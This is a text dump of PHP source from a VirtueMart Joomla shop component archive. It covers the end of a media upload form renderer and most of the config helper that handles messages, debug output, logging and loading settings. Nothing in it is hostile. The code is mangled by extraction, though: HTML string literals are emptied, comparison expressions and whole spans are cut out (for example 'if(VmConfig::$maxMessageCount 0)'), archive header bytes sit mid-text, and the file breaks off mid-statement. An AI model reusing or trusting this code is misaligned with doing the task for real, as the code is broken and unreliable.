JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $html .= ''; } $html .= '
'; if(!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html .= VmHTML::checkbox('media_published',$checked,1,0,'class="inputbox"','media_published'.$identify) ; // $html .=''; $html .= JHTML::image($this->file_url_thumb, 'thumbnail', 'id="vm_thumb_image" style="overflow: auto; float: right;"'); // $html .= $this->displayMediaThumb('',false,'id="vm_thumb_image" style="overflow: auto; float: right;"'); $html .= '
'. JText::_('COM_VIRTUEMART_FILES_FORM_CURRENT_FILE') .''.$this->file_name.'.'.$this->file_extension .'
'.JText::_('COM_VIRTUEMART_FILES_FORM_ROLE').'
'.JHTML::_('select.radiolist', $this->getOptions($this->_mRoles), 'media_roles'.$identify, '', 'value', 'text', $this->media_role).'
'.VmHTML::checkbox('file_is_forSale', $this->file_is_forSale); // $html .= VmHTML::checkbox('file_is_downloadable', $this->file_is_downloadable); if(!empty($this->file_type)){ $html .= '
'.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
'.JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_'.strtoupper($this->file_type)).'
'.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
'.JHTML::_('select.radiolist', $this->getOptions($this->_mLocation), 'media_attributes'.$identify, '', 'value', 'text', $mediaattribtemp).'
' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE') . '
'.JHTML::_('select.genericlist', $languages, 'vmlangimg[]', 'size="10" multiple="multiple"', 'value', 'text', $selectedLangue ).'
'; $html .='
'; $this->addMediaActionByType(); $html .= '
' ; $html .= ''.JText::_('COM_VIRTUEMART_FILE_UPLOAD').''; $html .= JText::_('COM_VIRTUEMART_IMAGE_ACTION'). JHTML::_('select.radiolist', $this->getOptions($this->_actions), 'media_action'.$identify, '', 'value', 'text', 0).'

'; $html .= JText::_('COM_VIRTUEMART_FILE_UPLOAD').'
'; $html .= '
'.$this->displaySupportedImageTypes(); $html .='
'; $html .= $this->displayFoldersWriteAble(); $html .= $this->displayHidden(); // $html .= ''; return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray Allowed values are $this->_actions and $this->_attributes */ private function getOptions($optionsarray){ $options=array(); foreach($optionsarray as $optionName=>$langkey){ $options[] = JHTML::_('select.option', $optionName, JText::_( $langkey ) ); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow($descr, $name,$readonly=''){ $html = ' '.JText::_($descr).' '; return $html; } /** * renders the hiddenfields added in the layout before (used to make the displayFileHandle reusable) * @author Max Milbers */ private function displayHidden(){ $html=''; foreach($this->_hidden as $k=>$v){ $html .= ''; } return $html; } } PKsl>\d7HˈˈPcom_virtuemart_update/administrator/components/com_virtuemart/helpers/config.phpnuW+A jQuery(); // for use of jQuery * Then always use the defined paths below to ensure future stability */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); define( 'JPATH_VM_SITE', JPATH_ROOT.DS.'components'.DS.'com_virtuemart' ); defined('JPATH_VM_ADMINISTRATOR') or define('JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'); // define( 'JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' ); define( 'JPATH_VM_PLUGINS', JPATH_VM_ADMINISTRATOR.DS.'plugins' ); define( 'JPATH_VM_MODULES', JPATH_ROOT.DS.'modules' ); if(version_compare(JVERSION,'1.7.0','ge')) { defined('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_PLATFORM); defined('JVM_VERSION') or define ('JVM_VERSION', 2); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 2); } else { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 1); } } //This number is for obstruction, similar to the prefix jos_ of joomla it should be avoided //to use the standard 7, choose something else between 1 and 99, it is added to the ordernumber as counter // and must not be lowered. defined('VM_ORDER_OFFSET') or define('VM_ORDER_OFFSET',3); require(JPATH_VM_ADMINISTRATOR.DS.'version.php'); JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); if (!class_exists ('VmModel')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); } if(!class_exists('vRequest')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vrequest.php'); if(!class_exists('vmText')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtext.php'); if(!class_exists('vmJsApi')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmjsapi.php'); /** * This function shows an info message, the messages gets translated with JText::, * you can overload the function, so that automatically sprintf is taken, when needed. * So this works vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ) * and also vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE'); * * @author Max Milbers * @param string $publicdescr * @param string $value */ function vmInfo($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; $type = 'info'; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); //$publicdescr = $lang->_($publicdescr); $msg = JText::_($publicdescr); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; $type = 'warning'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,$type); } else { vmTrace('vmInfo Message empty '.$msg); } return $msg; } /** * Informations for the vendors or the administrators of the store, but not for developers like vmdebug * @param $publicdescr * @param null $value */ function vmAdminInfo($publicdescr,$value=NULL){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->isSuperVendor()){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); VmConfig::$maxMessageCount++; $app ->enqueueMessage(call_user_func_array('sprintf', $args),'info'); } } else { VmConfig::$maxMessageCount++; // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $publicdescr = $lang->_($publicdescr); $app ->enqueueMessage('Info: '.JText::_($publicdescr),'info'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); }else { return false; } } } } function vmWarn($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $msg = $lang->_($publicdescr); //$app ->enqueueMessage('Info: '.$publicdescr,'warning'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,'warning'); return $msg; } else { vmTrace('vmWarn Message empty'); return false; } } /** * Shows an error message, sensible information should be only in the first one, the second one is for non BE users * @author Max Milbers */ function vmError($descr,$publicdescr=''){ $msg = ''; $lang = JFactory::getLanguage(); $descr = $lang->_($descr); $adminmsg = 'vmError: '.$descr; if (empty($descr)) { vmTrace ('vmError message empty'); return; } logInfo($adminmsg,'error'); if(VmConfig::$maxMessageCount< (VmConfig::$maxMessage+5)){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $msg = $adminmsg; } else { if(!empty($publicdescr)){ $msg = $lang->_($publicdescr); } } } else { if (VmConfig::$maxMessageCount == (VmConfig::$maxMessage+5)) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage($msg,'error'); return $msg; } return $msg; } /** * A debug dumper for VM, it is only shown to backend users. * * @author Max Milbers * @param unknown_type $descr * @param unknown_type $values */ function vmdebug($debugdescr,$debugvalues=NULL){ if(VMConfig::showDebug() ){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount'.print_r(get_class_methods($debugvalues),1).''; $args = func_get_args(); if (count($args) > 1) { // foreach($args as $debugvalue){ for($i=1;$i'.print_r($args[$i],1).'
'.print_r(get_class_methods($args[$i]),1).''; } } } } if(VmConfig::$echoDebug){ VmConfig::$maxMessageCount++; echo $debugdescr; } else if(VmConfig::$logDebug){ logInfo($debugdescr,'vmdebug'); }else { VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage('vmdebug '.$debugdescr.''); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); } } } } function vmTrace($notice,$force=FALSE){ if($force || (VMConfig::showDebug() ) ){ //$app = JFactory::getApplication(); // ob_start(); echo '
';
		debug_print_backtrace();
		echo '
'; $body = ob_get_contents(); ob_end_clean(); if(VmConfig::$echoDebug){ echo $notice.'
'.$body.'
'; } else if(VmConfig::$logDebug){ logInfo($body,$notice); } else { $app = JFactory::getApplication(); $app ->enqueueMessage($notice.' '.$body.' '); } } } function vmRam($notice,$value=NULL){ vmdebug($notice.' used Ram '.round(memory_get_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmRamPeak($notice,$value=NULL){ vmdebug($notice.' memory peak '.round(memory_get_peak_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmSetStartTime($name='current'){ VmConfig::setStartTime($name, microtime(TRUE)); } function vmTime($descr,$name='current'){ if (empty($descr)) { $descr = $name; } $starttime = VmConfig::$_starttime ; if(empty($starttime[$name])){ vmdebug('vmTime: '.$descr.' starting '.microtime(TRUE)); VmConfig::$_starttime[$name] = microtime(TRUE); } else { if ($name == 'current') { vmdebug ('vmTime: ' . $descr . ' time consumed ' . (microtime (TRUE) - $starttime[$name])); VmConfig::$_starttime[$name] = microtime (TRUE); } else { if (empty($descr)) { $descr = $name; } $tmp = 'vmTime: ' . $descr . ': ' . (microtime (TRUE) - $starttime[$name]); vmdebug ($tmp); } } } /** * logInfo * to help debugging Payment notification for example */ function logInfo ($text, $type = 'message') { jimport('joomla.filesystem.file'); $config = JFactory::getConfig(); $log_path = $config->get('log_path', JPATH_ROOT . "/log" ); $file = $log_path . "/" . VmConfig::$logFileName . VmConfig::LOGFILEEXT; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $show_error_msg = TRUE; } else { $show_error_msg = FALSE; } if (!is_dir($log_path)) { jimport('joomla.filesystem.folder'); if (!JFolder::create($log_path)) { if ($show_error_msg){ $msg = 'Could not create path ' . $log_path . ' to store log information. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } if (!is_writable($log_path)) { if ($show_error_msg){ $msg = 'Path ' . $log_path . ' to store log information is not writable. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } // Initialise variables. $FTPOptions = JClientHelper::getCredentials('ftp'); $head = false; $fsize = false; $amount = 32768; $offset = 0; if (!JFile::exists($file)) { // blank line to prevent information disclose: https://bugs.php.net/bug.php?id=60677 // from Joomla log file $head = "#\n"; $head .= '#'."\n"; } else { $fsize = @ filesize($file); if($FTPOptions['enabled']){ $maxSizeLogFile = 32768; //32kb } else { $maxSizeLogFile = 524288;//1048576; //1MB } if($fsize and $fsize>$maxSizeLogFile){ $disk_free_space = disk_free_space($log_path); if($disk_free_spacetoFormat ('%Y-%m-%d_%H-%M') . VmConfig::LOGFILEEXT; JFile::move($file,$fileRename); $head = "#\n"; $head .= '#'."\n"; } } } if ($FTPOptions['enabled'] == 0){ static $fp; $fp = fopen ($file, 'a+'); if(!empty($offset)){ //not a good solution yet, we just delete the ending and add the other stuff again. ftruncate($fp,$offset); } if ($fp) { if ($head) { fwrite ($fp, $head); } fwrite ($fp, "\n" . JFactory::getDate()->toFormat ('%Y-%m-%d %H:%M:%S')); fwrite ($fp, " ".strtoupper($type) . ' ' . $text); fclose ($fp); } else { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } } } else { $buffer = JFile::read($file,false,$amount,8192,$offset); if ($head) { $buffer .= $head; } //This can make trouble if people use FTP and get a lot errors. We strongly recommened to get a hosting which works without the FTP help construction $buffer .= "\n" . JFactory::getDate()->toFormat('%Y-%m-%d %H:%M:%S'); $buffer .= " " . strtoupper($type) . ' ' . $text; if (!JFile::write($file, $buffer)) { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } return; } /** * The time how long the config in the session is valid. * While configuring the store, you should lower the time to 10 seconds. * Later in a big store it maybe useful to rise this time up to 1 hr. * That would mean that changing something in the config can take up to 1 hour until this change is effecting the shoppers. */ /** * We use this Class STATIC not dynamically ! */ class VmConfig { // instance of class private static $_jpConfig = NULL; public static $_debug = NULL; public static $_starttime = array(); public static $loaded = FALSE; public static $maxMessageCount = 0; public static $maxMessage = 100; public static $echoDebug = FALSE; public static $logDebug = FALSE; public static $logFileName = 'com_virtuemart'; const LOGFILEEXT = '.log.php'; public static $lang = FALSE; public static $vmlang = FALSE; public static $langTag = FALSE; public static $vmlangTag = FALSE; public static $langCount = 0; var $_params = array(); var $_raw = array(); private function __construct() { if(function_exists('mb_ereg_replace')){ mb_regex_encoding('UTF-8'); mb_internal_encoding('UTF-8'); } //if(ini_get('precision')!=15){ ini_set('precision', 15); //We need at least 20 for correct precision if json is using a bigInt ids //But 17 has the best precision, using higher precision adds fantasy numbers to the end //} } static function getStartTime(){ return self::$_starttime; } static function setStartTime($name,$value){ self::$_starttime[$name] = $value; } static function showDebug(){ if(self::$_debug===NULL){ $debug = VmConfig::get('debug_enable','none'); //$debug = 'all'; //this is only needed, when you want to debug THIS file // 1 show debug only to admins if($debug === 'admin' ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ self::$_debug = TRUE; } else { self::$_debug = FALSE; } } // 2 show debug to anyone else { if ($debug === 'all') { self::$_debug = TRUE; } // else dont show debug else { self::$_debug = FALSE; } } if(self::$_debug){ ini_set('display_errors', '1'); //error_reporting(E_ALL ^ E_STRICT); } else { ini_set('display_errors', '0'); if(version_compare(phpversion(),'5.4.0','<' )){ error_reporting( E_ALL & ~E_STRICT ); } else { error_reporting( E_ALL ^ E_STRICT ); } } } //$nu = $ha; return self::$_debug; } /** * Ensures a certain Memory limit for php (if server supports it) * @author Max Milbers * @param int $minMemory */ static function ensureMemoryLimit($minMemory=0){ if($minMemory === 0) $minMemory = VmConfig::get('minMemory','128M'); $memory_limit = VmConfig::getMemoryLimit(); if($memory_limit<$minMemory) @ini_set( 'memory_limit', $minMemory.'M' ); } /** * Returns the PHP memory limit of the server in MB, regardless the used unit * @author Max Milbers * @return float|int PHP memory limit in MB */ static function getMemoryLimit(){ $iniValue = ini_get('memory_limit'); if($iniValue<=0) return 2048; //We assume 2048MB as unlimited setting $iniValue = strtoupper($iniValue); if(strpos($iniValue,'M')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1); } else if(strpos($iniValue,'K')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) / 1024.0; } else if(strpos($iniValue,'G')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) * 1024.0; } else { $memory_limit = (int) $iniValue / 1048576.0; } return $memory_limit; } static function ensureExecutionTime($minTime=0){ if($minTime === 0) $minTime = (int) VmConfig::get('minTime',120); $max_execution_time = self::getExecutionTime(); if((int)$max_execution_time<$minTime) { @ini_set( 'max_execution_time', $minTime ); } } static function getExecutionTime(){ $max_execution_time = (int) ini_get('max_execution_time'); if(empty($max_execution_time)){ $max_execution_time = (int) VmConfig::get('minTime',120); } return $max_execution_time; } /** * loads a language file, the trick for us is that always the config option enableEnglish is tested * and the path are already set and the correct order is used * We use first the english language, then the default * * @author Max Milbers * @static * @param $name * @return bool */ static public function loadJLang($name,$site=false,$tag=0){ $jlang =JFactory::getLanguage(); if(empty($tag))$tag = $jlang->getTag(); $path = $basePath = JPATH_VM_ADMINISTRATOR; if($site){ $path = $basePath = JPATH_VM_SITE; } if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; if($site){ $epath = JPATH_SITE; } } else { $epath = $path; } $jlang->load($name, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; if($site){ $path = JPATH_SITE; } } $jlang->load($name, $path,$tag,true); return $jlang; } /** * @static * @author Valerie Isaksen * @param $name */ static public function loadModJLang($name){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $path = $basePath = JPATH_VM_MODULES.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path,$tag,true); } /** * Loads the configuration and works as singleton therefore called static. The call using the program cache * is 10 times faster then taking from the session. The session is still approx. 30 times faster then using the file. * The db is 10 times slower then the session. * * Performance: * * Fastest is * Program Cache: 1.5974044799805E-5 * Session Cache: 0.00016094612121582 * * First config db load: 0.00052118301391602 * Parsed and in session: 0.001554012298584 * * After install from file: 0.0040450096130371 * Parsed and in session: 0.0051419734954834 * * * Functions tests if already loaded in program cache, session cache, database and at last the file. * * Load the configuration values from the database into a session variable. * This step is done to prevent accessing the database for every configuration variable lookup. * * @author Max Milbers * @param $force boolean Forces the function to load the config from the db */ static public function loadConfig($force = FALSE,$fresh = FALSE) { if($fresh){ return self::$_jpConfig = new VmConfig(); } vmSetStartTime('loadConfig'); if(!$force){ if(!empty(self::$_jpConfig) && !empty(self::$_jpConfig->_params)){ return self::$_jpConfig; } } self::$_jpConfig = new VmConfig(); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $configTable = VirtueMartModelConfig::checkConfigTableExists(); $db = JFactory::getDBO(); $app = JFactory::getApplication(); $freshInstall = vRequest::getInt('install',false); if(empty($configTable) or $freshInstall){ if(!$freshInstall){ $installed = VirtueMartModelConfig::checkVirtuemartInstalled(); if(!$installed){ $jlang =JFactory::getLanguage(); $selectedLang = $jlang->getTag(); if(empty($selectedLang)){ $selectedLang = $jlang->setLanguage($selectedLang); } $msg = ''; $q = 'SELECT `element` FROM `#__extensions` WHERE type = "language" and enabled = "1"'; $db->setQuery($q); $knownLangs = $db->loadColumn(); //vmdebug('Selected language '.$selectedLang.' $knownLangs ',$knownLangs); if($app->isAdmin() and !in_array($selectedLang,$knownLangs)){ $link = 'index.php?option=com_installer&view=languages'; $msg = 'Install your selected language '.$selectedLang.' first in joomla language manager, just select then the component VirtueMart under menu "component", to proceed with the installation '; $app->enqueueMessage($msg); } //else { if($app->isSite()){ $link = 'index.php?option=com_virtuemart'; } else { $link = 'index.php?option=com_virtuemart&view=updatesmigration&install=1'; $msg = 'Install Virtuemart first, click on the menu component and select VirtueMart'; } if($app->isSite()){ $link = JURI::root(true).'/administrator/'.$link; } $app->redirect($link,$msg); //} } if($installed){ self::$_jpConfig->installVMconfig(); } } else { self::$_jpConfig->installVMconfig($freshInstall); } } $install = 'no'; if(empty(self::$_jpConfig->_raw)){ $query = ' SELECT `config` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = "1";'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); if(empty(self::$_jpConfig->_raw)){ if(self::installVMconfig($freshInstall)){ $install = 'yes'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); self::$_jpConfig->_params = NULL; } else { $app ->enqueueMessage('Error loading configuration file','Error loading configuration file, please contact the storeowner'); } } } $i = 0; $pair = array(); if (!empty(self::$_jpConfig->_raw)) { $config = explode('|', self::$_jpConfig->_raw); foreach($config as $item){ $item = explode('=',$item); if(!empty($item[1])){ // if($item[0]!=='offline_message' && $item[0]!=='dateformat' ){ if($item[0]!=='offline_message' ){ try { $value = @unserialize($item[1] ); if($value===FALSE){ $app ->enqueueMessage('Exception in loadConfig for unserialize '.$item[0]. ' '.$item[1]); $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $app ->enqueueMessage('To avoid this message, enter your virtuemart config and just save it one time'); } else { $pair[$item[0]] = $value; } }catch (Exception $e) { vmdebug('Exception in loadConfig for unserialize '. $e->getMessage(),$item); } } else { $pair[$item[0]] = unserialize(base64_decode($item[1]) ); } } else { $pair[$item[0]] =''; } } // $pair['sctime'] = microtime(true); self::$_jpConfig->_params = $pair; self::$_jpConfig->_params['sctime'] = microtime(TRUE); //self::$_jpConfig->set('sctime',microtime(TRUE)); //self::setdbLanguageTag(); self::$_jpConfig->_params['vmlang'] = self::setdbLanguageTag(); vmTime('loadConfig db '.$install,'loadConfig'); return self::$_jpConfig; } $app ->enqueueMessage('Attention config is empty'); return self::$_jpConfig; } /* * Set defaut language tag for translatable table * * @author Max Milbers * @return string valid langtag */ static public function setdbLanguageTag() { if (self::$lang) { return self::$lang; } $langs = (array)self::get('active_languages',array()); self::$langCount = count($langs); $siteLang = JRequest::getString('vmlang',FALSE ); //vmdebug('My $siteLang by JRequest::getString("vmlang",JRequest::getString("lang")) '.$siteLang); $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla if( JFactory::getApplication()->isSite()){ if (!$siteLang) { if ( JVM_VERSION===1 ) { // try to find in session lang // this work with joomfish j1.5 (application.data.lang) $session =JFactory::getSession(); $registry = $session->get('registry'); $siteLang = $registry->getValue('application.data.lang') ; } else { jimport('joomla.language.helper'); $siteLang = JFactory::getLanguage()->getTag(); vmdebug('My selected language by JFactory::getLanguage()->getTag() '.$siteLang); } } } else { if(!$siteLang){ $siteLang = $defaultLang; } } if(!in_array($siteLang, $langs)) { if(count($langs)===0){ $siteLang = $defaultLang; } else { $siteLang = $langs[0]; } } self::$vmlangTag = self::$langTag = $siteLang; self::$vmlang = self::$lang = strtolower(strtr($siteLang,'-','_')); vmdebug('$siteLang: '.$siteLang.' self::$_jpConfig->lang '.self::$lang); defined('VMLANG') or define('VMLANG', self::$lang ); return self::$lang; } /** * Find the configuration value for a given key * * @author Max Milbers * @param string $key Key name to lookup * @return Value for the given key name */ static function get($key, $default='',$allow_load=FALSE) { $value = ''; if ($key) { if (empty(self::$_jpConfig->_params) && $allow_load) { self::loadConfig(); } if (!empty(self::$_jpConfig->_params)) { if(array_key_exists($key,self::$_jpConfig->_params) && isset(self::$_jpConfig->_params[$key])){ $value = self::$_jpConfig->_params[$key]; } else { $value = $default; } } else { $value = $default; } } else { $app = JFactory::getApplication(); $app -> enqueueMessage('VmConfig get, empty key given'); } return $value; } static function set($key, $value){ if (empty(self::$_jpConfig->_params)) { self::loadConfig(); } if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ if (!empty(self::$_jpConfig->_params)) { self::$_jpConfig->_params[$key] = $value; } } } /** * For setting params, needs assoc array * @author Max Milbers */ function setParams($params,$replace=FALSE){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ //The idea with the merge was that 3rd party use the config to store stuff there, //But we doubt that anyone does it, because the vm team itself never uses it. //To avoid errors like unserialize hidemainmenu b:0;, we just replace now the config with the data, //Hmm does not work, because people may use config values, not in the config form unset($this->_params['hidemainmenu']); unset($this->_params['pdf_invoice']); // parameter remove and replaced by inv_os unset($this->_params['list_limit']); unset($this->_params['pagination_sequence']); if($replace){ self::$_jpConfig->_params = $params; } else { self::$_jpConfig->_params = array_merge($this->_params,$params); } //self::$_jpConfig->_params = $params; } } /** * Writes the params as string and escape them before * @author Max Milbers */ function toString(){ $raw = ''; $db = JFactory::getDBO(); jimport( 'joomla.utilities.arrayhelper' ); foreach(self::$_jpConfig->_params as $paramkey => $value){ //Texts get broken, when serialized, therefore we do a simple encoding, //btw we need serialize for storing arrays note by Max Milbers // if($paramkey!=='offline_message' && $paramkey!=='dateformat'){ if($paramkey!=='offline_message'){ $raw .= $paramkey.'='.serialize($value).'|'; } else { $raw .= $paramkey.'='.base64_encode(serialize($value)).'|'; } } self::$_jpConfig->_raw = substr($raw,0,-1); return self::$_jpConfig->_raw; } /** * Find the currenlty installed version * * @author RickG * @param boolean $includeDevStatus True to include the development status * @return String of the currently installed version */ static function getInstalledVersion($includeDevStatus=FALSE) { // Get the installed version from the wmVersion class. return vmVersion::$RELEASE; } /** * Return if the used joomla function is j15 * @deprecated use JVM_VERSION instead */ function isJ15(){ return (strpos(JVERSION,'1.5') === 0); } function getCreateConfigTableQuery(){ return "CREATE TABLE IF NOT EXISTS `#__virtuemart_configs` ( `virtuemart_config_id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `config` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT 0, `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT 0, `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`virtuemart_config_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds configuration settings' AUTO_INCREMENT=1 ;"; } /** * Read the file vm_config.dat from the install directory, compose the SQL to write * the config record and store it to the dabase. * * @param $_section Section from the virtuemart_defaults.cfg file to be parsed. Currently, only 'config' is implemented * @return Boolean; true on success, false otherwise * @author Oscar van Eijk */ public function installVMconfig($freshInstall=false){ $_value = self::readConfigFile(FALSE,$freshInstall); if (!$_value) { return FALSE; } $_value = join('|', $_value); self::$_jpConfig->_raw = $_value; if($freshInstall){ return true; } $qry = self::$_jpConfig->getCreateConfigTableQuery(); $_db = JFactory::getDBO(); $_db->setQuery($qry); $_db->query(); $query = 'SELECT `virtuemart_config_id` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = 1'; $_db->setQuery( $query ); if ($_db->query()){ $qry = 'DELETE FROM `#__virtuemart_configs` WHERE `virtuemart_config_id`=1'; $_db->setQuery($qry); $_db->query(); } $qry = "INSERT INTO `#__virtuemart_configs` (`virtuemart_config_id`, `config`) VALUES ('1', '$_value')"; if(!$freshInstall){ $_db->setQuery($qry); if (!$_db->query()) { JError::raiseWarning(1, 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE)); echo 'VmConfig::installVMConfig: '.JText::_('COM_VIRTUEMART_SQL_ERROR').' '.$_db->stderr(TRUE); die; }else { //vmdebug('Config installed file, store values '.$_value); return TRUE; } } else { return false; } } /** * We should this move out of this file, because it is usually only used one time in a shop life * @author Oscar van Eijk * @author Max Milbers */ static function readConfigFile($returnDangerousTools,$freshInstall = false){ $_datafile = JPATH_VM_ADMINISTRATOR.DS.'virtuemart.cfg'; if (!file_exists($_datafile)) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'virtuemart_defaults.cfg-dist')) { if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } JFile::copy('virtuemart_defaults.cfg-dist','virtuemart.cfg',JPATH_VM_ADMINISTRATOR); } else { JError::raiseWarning(500, 'The data file with the default configuration could not be found. You must configure the shop manually.'); return FALSE; } } else { vmInfo('Taking config from file'); //vmTrace('read config file, why?',TRUE); } $_section = '[CONFIG]'; $_data = fopen($_datafile, 'r'); $_configData = array(); $_switch = FALSE; while ($_line = fgets ($_data)) { $_line = trim($_line); if (strpos($_line, '#') === 0) { continue; // Commentline } if ($_line == '') { continue; // Empty line } if (strpos($_line, '[') === 0) { // New section, check if it's what we want if (strtoupper($_line) == $_section) { $_switch = TRUE; // Ok, right section } else { $_switch = FALSE; } continue; } if (!$_switch) { continue; // Outside a section or inside the wrong one. } if (strpos($_line, '=') !== FALSE) { $pair = explode('=',$_line); if(isset($pair[1])){ if(strpos($pair[1], 'array:') !== FALSE){ $pair[1] = substr($pair[1],6); $pair[1] = explode('|',$pair[1]); } // if($pair[0]!=='offline_message' && $pair[0]!=='dateformat'){ if($pair[0]!=='offline_message'){ $_line = $pair[0].'='.serialize($pair[1]); } else { $_line = 